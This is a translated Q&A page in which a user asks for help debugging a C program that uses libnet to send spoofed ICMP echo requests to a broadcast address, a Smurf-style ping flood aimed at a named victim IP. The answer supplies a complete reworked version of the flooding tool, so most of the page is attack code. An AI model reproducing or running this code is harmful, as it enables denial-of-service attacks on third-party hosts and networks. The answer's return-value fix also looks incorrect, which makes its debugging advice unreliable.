簡體   English   中英

libnet錯誤:成功

[英]libnet error : success

我正在嘗試創建一個ping Flood程序,該程序將目標IP地址和廣播IP地址作為參數。 該程序將icmp回送數據包發送到廣播地址,並以victms ip地址作為源。 網絡上所有收到該數據包的主機都會將答案返回給受害者。

代碼如下:

#include <stdio.h>
#include <libnet.h>
#include <stdlib.h>
#include <udi.h>


void usage(char * pname)
{
    printf("[!] The program sends fake icmp echo request to broadcast address in order to ping flood a device\n", pname);
    printf("[!] USAGE - %s [ipv4 address to attack] [ipv4 broadcast address]\n", pname);
}

int main(int argc, char *argv[])
{
    if(argc != 3)
        usage(argv[0]);


    char errbuff[LIBNET_ERRBUF_SIZE];       
    libnet_t *l;                            
    uint16_t cmp_id;
    uint16_t ip_id; 
    for(int i=0; i<100; i++)
    {
    l=libnet_init(LIBNET_LINK, (char *) "wlan0", errbuff);  //initializing the packet
    if(l==NULL)
    {
        fatal("in initializing the index of the packet...\nERROR: ");
        printf("%s",libnet_geterror(l));
    }


    libnet_seed_prand(l);
    cmp_id = (uint16_t) libnet_get_prand(LIBNET_PR16);
    ip_id = (uint16_t) libnet_get_prand(LIBNET_PR16);

    if(libnet_build_icmpv4_echo(ICMP_ECHO, 0, 0, cmp_id, 1, NULL, 0, l, 0) == 0)
    {
        fatal("while trying to build icmpv4_echo packet...\nERROR: ");
        printf("%s",libnet_geterror(l));
    }

    if(libnet_build_ipv4(LIBNET_IPV4_H+LIBNET_ICMPV4_ECHO_H, 0, ip_id, 0, 255, IPPROTO_ICMP, 0, inet_addr(argv[1]), inet_addr(argv[2]), NULL, 0, l, 0) == -1)
    {
        fatal("while trying to create ipv4 header...\nERROR: ");
        printf("%s",libnet_geterror(l));
    }

    if(libnet_write(l) == -1)
    {
        fatal("while trying to write the packet...\nERROR: ");
        printf("%s",libnet_geterror(l));
    }


    libnet_destroy(l);
    }
    return 0;
}

當我運行它時,我得到以下輸出:

[!] FATAL ERROR: while trying to write the packet...
ERROR: : Success

我正在使用libnet庫來創建數據包,並且我感覺libnet_build_ipv4()函數中存在某種錯誤。

有什么幫助和建議嗎?

謝謝。

關於:

if(libnet_build_icmpv4_echo(ICMP_ECHO, 0, 0, cmp_id, 1, NULL, 0, l, 0) == 0) 

這是不正確的,返回值為0表示成功。

該聲明應為:

if(libnet_build_icmpv4_echo(ICMP_ECHO, 0, 0, cmp_id, 1, NULL, 0, l, 0) != 0) 

注意從==更改為!=

以下建議的代碼:

  1. 干凈地編譯並鏈接到:gcc -ggdb -Wall -Wextra -Wconversion -pedantic -std = gnu11 libnet-config --defines untitled2.c -o untitled2 libnet-config --libs
  2. 格式一致
  3. 發生任何錯誤后立即退出,但是,您可能需要添加以下語句:libnet_destroy(libObject); 在創建對象之后的任何退出點。

警告未經過實際URL的測試

現在建議的代碼:

#include <stdio.h>
#include <libnet.h>
#include <stdlib.h>
//#include <udi.h>


void usage(char * pname);


int main(int argc, char *argv[])
{
    if(argc != 3)
    {
        usage(argv[0]);
        exit( EXIT_FAILURE );
    }

    char errbuff[LIBNET_ERRBUF_SIZE];
    uint16_t cmp_id;
    uint16_t ip_id;

    for( int i=0; i<100; i++ )
    {
        libnet_t *libObject = libnet_init(LIBNET_LINK, (char *) "wlan0", errbuff);  //initializing the packet
        if( ! libObject )
        {
            fprintf( stderr, "%s\n",
                "in initializing the index of the packet...\nERROR: ");
            fprintf( stderr, "%s\n", libnet_geterror( libObject ));
        }

        libnet_seed_prand( libObject );
        cmp_id = (uint16_t) libnet_get_prand(LIBNET_PR16);
        ip_id = (uint16_t) libnet_get_prand(LIBNET_PR16);

        if(libnet_build_icmpv4_echo(
            ICMP_ECHO,
            0,
            0,
            cmp_id,
            1,
            NULL,
            0,
            libObject,
            0) != 0)
        {
            fprintf( stderr, "%s\n",
                "while trying to build icmpv4_echo packet...\nERROR: ");
            fprintf( stderr, "%s\n",
                libnet_geterror( libObject ));
        }

        if( libnet_build_ipv4(
            LIBNET_IPV4_H+LIBNET_ICMPV4_ECHO_H,
            0,
            ip_id,
            0,
            255,
            IPPROTO_ICMP,
            0,
            inet_addr(argv[1]),
            inet_addr(argv[2]),
            NULL,
            0,
            libObject,
            0) == -1)
        {
            fprintf( stderr, "%s\n",
                "while trying to create ipv4 header...\nERROR: ");
            fprintf( stderr, "%s\n",
                libnet_geterror( libObject ));
        }

        if(libnet_write( libObject ) == -1)
        {
            fprintf( stderr, "%s\n",
                "while trying to write the packet...\nERROR: ");
            fprintf( stderr, "%s\n",
                libnet_geterror( libObject ));
        }

        libnet_destroy( libObject );
    }
    return 0;
}




void usage(char * pname)
{
    fprintf( stderr, "%s %s\n",
        pname,
        "sends fake icmp echo request to broadcast address "
        "in order to ping flood a device");
    fprintf( stderr, "USAGE: %s %s\n",
        pname,
        "[ipv4 address to attack] [ipv4 broadcast address]");
}

沒有參數的代碼運行會導致:

./untitled2 sends fake icmp echo request to broadcast address in order to ping flood a device
USAGE: ./untitled2 [ipv4 address to attack] [ipv4 broadcast address]

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM